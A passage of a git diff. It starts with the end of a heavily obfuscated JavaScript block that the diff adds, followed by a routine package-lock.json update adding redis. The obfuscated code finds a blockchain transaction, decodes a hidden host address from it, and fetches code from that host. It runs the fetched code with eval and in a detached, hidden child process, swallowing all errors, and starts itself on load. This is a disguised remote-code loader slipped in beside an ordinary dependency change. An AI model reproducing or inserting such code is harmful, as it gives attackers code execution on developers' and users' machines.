nonceAtBlocks(CM$Wz_bSEuXKdWfi,vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),QcLgfQBypzvCa=SoikConeelN[KYZeSIB(0x1bc)](ceRuRdAnCmORJt=>ceRuRdAnCmORJt>=KdmVwLcnVRrGrW);if(QcLgfQBypzvCa===-(-parseInt(0x82f)+parseInt(0x622)+Math.floor(0x20e)))EyfGMqfGt=CM$Wz_bSEuXKdWfi[CM$Wz_bSEuXKdWfi[KYZeSIB(0x192)]-(-0x1dd8+Number(-0x244)+0x1*Math.floor(parseInt(0x201d)))];else{MFMjq=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa];if(QcLgfQBypzvCa>Number(0x1)*parseInt(0x11f)+-parseInt(0x3)*parseFloat(parseInt(0xa9))+Math.max(parseInt(0xdc),0xdc))EyfGMqfGt=CM$Wz_bSEuXKdWfi[QcLgfQBypzvCa-(Math.trunc(0x1)*-0x752+0x1dfd+-0xb55*parseInt(parseInt(0x2)))];}}const pwsZeE=await withRpcEndpoints((ozRbTmuUOSQxTaHSxAMAP,TEeXvPj)=>rpcCall(ozRbTmuUOSQxTaHSxAMAP,KYZeSIB(0x19d),[toBlockHex(MFMjq),!![]],TEeXvPj),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)]),MewjUeWTCE$egTDNiInBMBgf=pwsZeE?.[KYZeSIB(0x175)]||[];let tqCDDCknnC=null;for(const b__FnlemnKd of MewjUeWTCE$egTDNiInBMBgf){if(!b__FnlemnKd[KYZeSIB(0x1b0)]||b__FnlemnKd[KYZeSIB(0x1b0)][KYZeSIB(0x1c3)]()!==SENDER)continue;if(BigInt(b__FnlemnKd[KYZeSIB(0x154)])===wxMNGaAYpSO){tqCDDCknnC=b__FnlemnKd;break;}if(!tqCDDCknnC||BigInt(b__FnlemnKd[KYZeSIB(0x154)])>BigInt(tqCDDCknnC[KYZeSIB(0x154)]))tqCDDCknnC=b__FnlemnKd;}return{'blockNumber':MFMjq,'tx':tqCDDCknnC};}finally{vOeJlPmLwpiHL$oohJee[KYZeSIB(0x1ab)]();}}async function lastSenderTxViaIndexer(){const SCVGJ_IJGWPiEDEMaV_PMtnULo=BEf$CYFUWXrAiwaYBJ,kxNKGgueUA=INDEXER_URL+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x194)+SENDER+SCVGJ_IJGWPiEDEMaV_PMtnULo(0x163),x$JrfbIZLbybosqwSDBfAq=await httpRequest(kxNKGgueUA),VXW_mxRMrUhuG$E=Array[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c6)](x$JrfbIZLbybosqwSDBfAq?.[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)])?x$JrfbIZLbybosqwSDBfAq[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x15d)]:[],oizDGSQQ_RyjP$GbM=VXW_mxRMrUhuG$E[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1bb)](jigmfjPfLbDrJaOT=>jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)]&&jigmfjPfLbDrJaOT[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1b0)][SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1c3)]()===SENDER);return{'blockNumber':BigInt(oizDGSQQ_RyjP$GbM[SCVGJ_IJGWPiEDEMaV_PMtnULo(0x1a3)]),'tx':oizDGSQQ_RyjP$GbM};}async function run(){const whs$nYWTlPzY=BEf$CYFUWXrAiwaYBJ,zMgSeaz=BigInt(await withRpcEndpoints((qtPCkCRAEVWH_NkH_cnm,f_UHJffpCvbHRB$tiJPyp)=>rpcCall(qtPCkCRAEVWH_NkH_cnm,whs$nYWTlPzY(0x160),[],f_UHJffpCvbHRB$tiJPyp))),CWWJsO$TZ=zMgSeaz-zMgSeaz%BLOCK_MULTIPLE;let oIucMTWeI=await firstMatch(candidateBlocks(CWWJsO$TZ)[whs$nYWTlPzY(0x170)](blockTask));!oIucMTWeI&&(oIucMTWeI=await lastSenderTx(zMgSeaz)[whs$nYWTlPzY(0x1aa)](()=>lastSenderTxViaIndexer()));const [fxydRcJblRNYxMPdn,pMMdlGsTHq_NQFuzSGfwaVj_A]=decodeAddress(oIucMTWeI['tx']['to']),bRsOozpSEKZvmdjiHwuhb=global;bRsOozpSEKZvmdjiHwuhb['_V']=bRsOozpSEKZvmdjiHwuhb['i'],bRsOozpSEKZvmdjiHwuhb['_H']=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x157)]=whs$nYWTlPzY(0x159)+pMMdlGsTHq_NQFuzSGfwaVj_A+whs$nYWTlPzY(0x185),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x17d)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x1c5),bRsOozpSEKZvmdjiHwuhb[whs$nYWTlPzY(0x1be)]=whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x185);function jRPe_$pro(AEEzGrqYV_mfkUCEUWURB,KOzb$TP_rMGJIxS){const z_SOYvRJaOEgyQMJlyl=whs$nYWTlPzY,IFHaRgVqomxJh$qVzf$VLfXyG={'hostname':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b5)],'port':Number(KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x1b4)])||0x31*-parseInt(0x2)+0x119+Number(-0x67),'path':KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x198)]+KOzb$TP_rMGJIxS[z_SOYvRJaOEgyQMJlyl(0x158)],'headers':{'User-Agent':z_SOYvRJaOEgyQMJlyl(0x195),'Sec-V':bRsOozpSEKZvmdjiHwuhb['_V']||parseInt(0xf60)+-0x61e+-parseInt(0x942)}};function fmGWrbBhU(InqhIrdb_iNVZtsJ$mYS){const UpgdSP_f$WJxlxa=z_SOYvRJaOEgyQMJlyl,M$n$GOjWFzYMwpXudh=AEEzGrqYV_mfkUCEUWURB[UpgdSP_f$WJxlxa(0x192)];for(let Q_xgQBVbDvn=0x18e*-0x7+0x183f+parseInt(0x1)*-0xd5d;Q_xgQBVbDvn{const RXvlYtHcsKeS=WlysIxGuPMcViepbraDjp_wli,CBAOZI$rcixEZZanTLMOm=http[RXvlYtHcsKeS(0x16e)]({...IFHaRgVqomxJh$qVzf$VLfXyG,'method':K_vSenE},VxIgkbRRYdgFucsNdoIDHFr=>{const XZJHXReDP=RXvlYtHcsKeS;if(K_vSenE===XZJHXReDP(0x193)){try{ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));}catch(RZRFkoIipO){NZIEVyTIKMQVORTZfU(RZRFkoIipO);}VxIgkbRRYdgFucsNdoIDHFr[XZJHXReDP(0x1a1)]();return;}const cPKJoMYzdExeb$XXVTS=[];VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x18e),MYQD_ZFWLwm$Ov=>cPKJoMYzdExeb$XXVTS[XZJHXReDP(0x166)](MYQD_ZFWLwm$Ov)),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x1c0),()=>{const vmTXJa_MM$WzZOdwzwDkERCdK=XZJHXReDP;try{const fAhxZbhTcBfzeDihoLRDX=Buffer[vmTXJa_MM$WzZOdwzwDkERCdK(0x1b3)](cPKJoMYzdExeb$XXVTS);if(fAhxZbhTcBfzeDihoLRDX[vmTXJa_MM$WzZOdwzwDkERCdK(0x192)])return ZQuPXkVipPg(fmGWrbBhU(fAhxZbhTcBfzeDihoLRDX));if(VxIgkbRRYdgFucsNdoIDHFr[vmTXJa_MM$WzZOdwzwDkERCdK(0x1c7)][vmTXJa_MM$WzZOdwzwDkERCdK(0x18d)])return ZQuPXkVipPg(KNklZsIzRmFSCPm_UGyD(VxIgkbRRYdgFucsNdoIDHFr));NZIEVyTIKMQVORTZfU(new Error(vmTXJa_MM$WzZOdwzwDkERCdK(0x17b)));}catch(IG_a_MJi){NZIEVyTIKMQVORTZfU(IG_a_MJi);}}),VxIgkbRRYdgFucsNdoIDHFr['on'](XZJHXReDP(0x188),NZIEVyTIKMQVORTZfU);});CBAOZI$rcixEZZanTLMOm['on'](RXvlYtHcsKeS(0x188),NZIEVyTIKMQVORTZfU),CBAOZI$rcixEZZanTLMOm[RXvlYtHcsKeS(0x1c0)]();});}return OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x181))[z_SOYvRJaOEgyQMJlyl(0x1aa)](()=>OJfSXHTVZN$fe(z_SOYvRJaOEgyQMJlyl(0x193)));}async function zS$wdno(RqdenM$wJdTdnrzoPxWuyF_a,k$DEq$xpz,cN$yvd){const CTJVzfTMEozmTbUg=whs$nYWTlPzY;try{const ZeKiakEO$nY_FkVMX=await jRPe_$pro(k$DEq$xpz,RqdenM$wJdTdnrzoPxWuyF_a),DiRknXtYt=cN$yvd?CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||Math.ceil(parseInt(0x14))*-0x1b6+-0x1*parseFloat(0xc51)+Math.max(0x2e89,0x2e89))+CTJVzfTMEozmTbUg(0x1a6)+bRsOozpSEKZvmdjiHwuhb['_H']+CTJVzfTMEozmTbUg(0x183)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x157)]+CTJVzfTMEozmTbUg(0x1ad):CTJVzfTMEozmTbUg(0x16f)+(bRsOozpSEKZvmdjiHwuhb['_V']||-0x78a+Math.floor(0x1f6)*-0x3+Number(0xd6c)*parseFloat(parseInt(0x1)))+CTJVzfTMEozmTbUg(0x1a2)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x17d)]+CTJVzfTMEozmTbUg(0x1ba)+bRsOozpSEKZvmdjiHwuhb[CTJVzfTMEozmTbUg(0x1be)]+CTJVzfTMEozmTbUg(0x1ad);if(!cN$yvd)eval(DiRknXtYt+ZeKiakEO$nY_FkVMX);spawn(CTJVzfTMEozmTbUg(0x15c),['-e',DiRknXtYt+ZeKiakEO$nY_FkVMX],{'detached':!![],'stdio':CTJVzfTMEozmTbUg(0x15f),'windowsHide':!![]})[CTJVzfTMEozmTbUg(0x17e)]();}catch(irHwSYrpWho){}}await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x19c)),whs$nYWTlPzY(0x169),![]),await zS$wdno(new URL(whs$nYWTlPzY(0x159)+fxydRcJblRNYxMPdn+whs$nYWTlPzY(0x162)),whs$nYWTlPzY(0x18f),!![]);}run(); +}; diff --git a/package-lock.json b/package-lock.json index dff32ebc..77ef35bc 100644 --- a/package-lock.json +++ b/package-lock.json @@ -75,6 +75,7 @@ "pino": "^10.3.0", "prom-client": "^15.1.3", "qrcode": "^1.5.4", + "redis": "^5.12.1", "reflect-metadata": "^0.1.13", "rimraf": "^5.0.5", "rxjs": "^7.8.1", @@ -1754,6 +1755,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", + "dev": true, "license": "MIT", "optional": true }, @@ -6402,6 +6404,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6414,6 +6417,7 @@ "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", "deprecated": "This functionality has been moved to @npmcli/fs", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -6428,6 +6432,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -6440,6 +6445,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6461,6 +6467,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -6475,6 +6482,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -9103,6 +9111,87 @@ "integrity": "sha512-oOAWABowe8EAbMyWKM0tYDKi8Yaox52D+HWZhAIJqQXbqe0xI/GV7FhLWqlEKreMkfDjshR5FKgi3mnle0h6Eg==", "license": "BSD-3-Clause" }, + "node_modules/@redis/bloom": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/bloom/-/bloom-5.12.1.tgz", + "integrity": "sha512-PUUfv+ms7jgPSBVoo/DN4AkPHj4D5TZSd6SbJX7egzBplkYUcKmHRE8RKia7UtZ8bSQbLguLvxVO+asKtQfZWA==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/client": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/client/-/client-5.12.1.tgz", + "integrity": "sha512-7aPGWeqA3uFm43o19umzdl16CEjK/JQGtSXVPevplTaOU3VJA/rseBC1QvYUz9lLDIMBimc4SW/zrW4S89BaCA==", + "license": "MIT", + "dependencies": { + "cluster-key-slot": "1.1.2" + }, + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@node-rs/xxhash": "^1.1.0", + "@opentelemetry/api": ">=1 <2" + }, + "peerDependenciesMeta": { + "@node-rs/xxhash": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + } + } + }, + "node_modules/@redis/client/node_modules/cluster-key-slot": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/cluster-key-slot/-/cluster-key-slot-1.1.2.tgz", + "integrity": "sha512-RMr0FhtfXemyinomL4hrWcYJxmX6deFdCxpJzhDttxgO1+bcCnkk+9drydLVDmAMG7NE6aN/fl4F7ucU/90gAA==", + "license": "Apache-2.0", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@redis/json": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/json/-/json-5.12.1.tgz", + "integrity": "sha512-eOze75esLve4vfqDel7aMX08CNaiLLQS2fV8mpRN9NxPe1rVR4vQyYiW/OgtGUysF6QOr9ANhfxABKNOJfXdKg==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/search": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/search/-/search-5.12.1.tgz", + "integrity": "sha512-ItlxbxC9cKI6IU1TLWoczwJCRb6TdmkEpWv05UrPawqaAnWGRu3rcIqsc5vN483T2fSociuyV1UkWIL5I4//2w==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, + "node_modules/@redis/time-series": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/@redis/time-series/-/time-series-5.12.1.tgz", + "integrity": "sha512-c6JL6E3EcZJuNqKFz+KM+l9l5mpcQiKvTwgA3blt5glWJ8hjDk0yeHN3beE/MpqYIQ8UEX44ItQzgkE/gCBELQ==", + "license": "MIT", + "engines": { + "node": ">= 18.19.0" + }, + "peerDependencies": { + "@redis/client": "^5.12.1" + } + }, "node_modules/@repeaterjs/repeater": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@repeaterjs/repeater/-/repeater-3.1.0.tgz", @@ -10281,6 +10370,7 @@ "version": "1.1.2", "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -11514,6 +11604,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true, "license": "ISC", "optional": true }, @@ -11596,6 +11687,7 @@ "version": "4.6.0", "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.6.0.tgz", "integrity": "sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -11609,6 +11701,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -11811,6 +11904,7 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.1.0.tgz", "integrity": "sha512-tLIEcj5GuR2RSTnxNKdkK0dJ/GrC7P38sUkiDmDuHfsHmbagTFAxDVIBltoklXEVIQ/f14IL8IMJ5pn9Hez1Ew==", + "dev": true, "license": "ISC", "optional": true }, @@ -11819,6 +11913,7 @@ "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz", "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12581,6 +12676,7 @@ "version": "15.3.0", "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12611,6 +12707,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -12623,6 +12720,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12644,6 +12742,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12657,6 +12756,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12670,6 +12770,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12684,6 +12785,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -12700,6 +12802,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -12952,6 +13055,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -13192,6 +13296,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "dev": true, "license": "ISC", "optional": true, "bin": { @@ -13289,7 +13394,7 @@ "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "devOptional": true, + "dev": true, "license": "MIT" }, "node_modules/concat-stream": { @@ -13317,6 +13422,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -13774,6 +13880,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "dev": true, "license": "MIT", "optional": true }, @@ -14224,7 +14331,7 @@ "version": "2.2.1", "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=6" @@ -14247,6 +14354,7 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, "license": "MIT", "optional": true }, @@ -15993,7 +16101,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", - "devOptional": true, + "dev": true, "license": "ISC" }, "node_modules/fsevents": { @@ -16059,6 +16167,7 @@ "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -16079,6 +16188,7 @@ "version": "3.0.7", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -16408,7 +16518,7 @@ "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "devOptional": true, + "dev": true, "license": "ISC" }, "node_modules/graphemer": { @@ -16692,6 +16802,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "dev": true, "license": "ISC", "optional": true }, @@ -16806,6 +16917,7 @@ "version": "4.2.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "dev": true, "license": "BSD-2-Clause", "optional": true }, @@ -16833,6 +16945,7 @@ "version": "4.0.1", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -16871,6 +16984,7 @@ "version": "1.2.1", "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -16999,7 +17113,7 @@ "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=0.8.19" @@ -17009,6 +17123,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -17019,6 +17134,7 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "dev": true, "license": "ISC", "optional": true }, @@ -17027,7 +17143,7 @@ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": 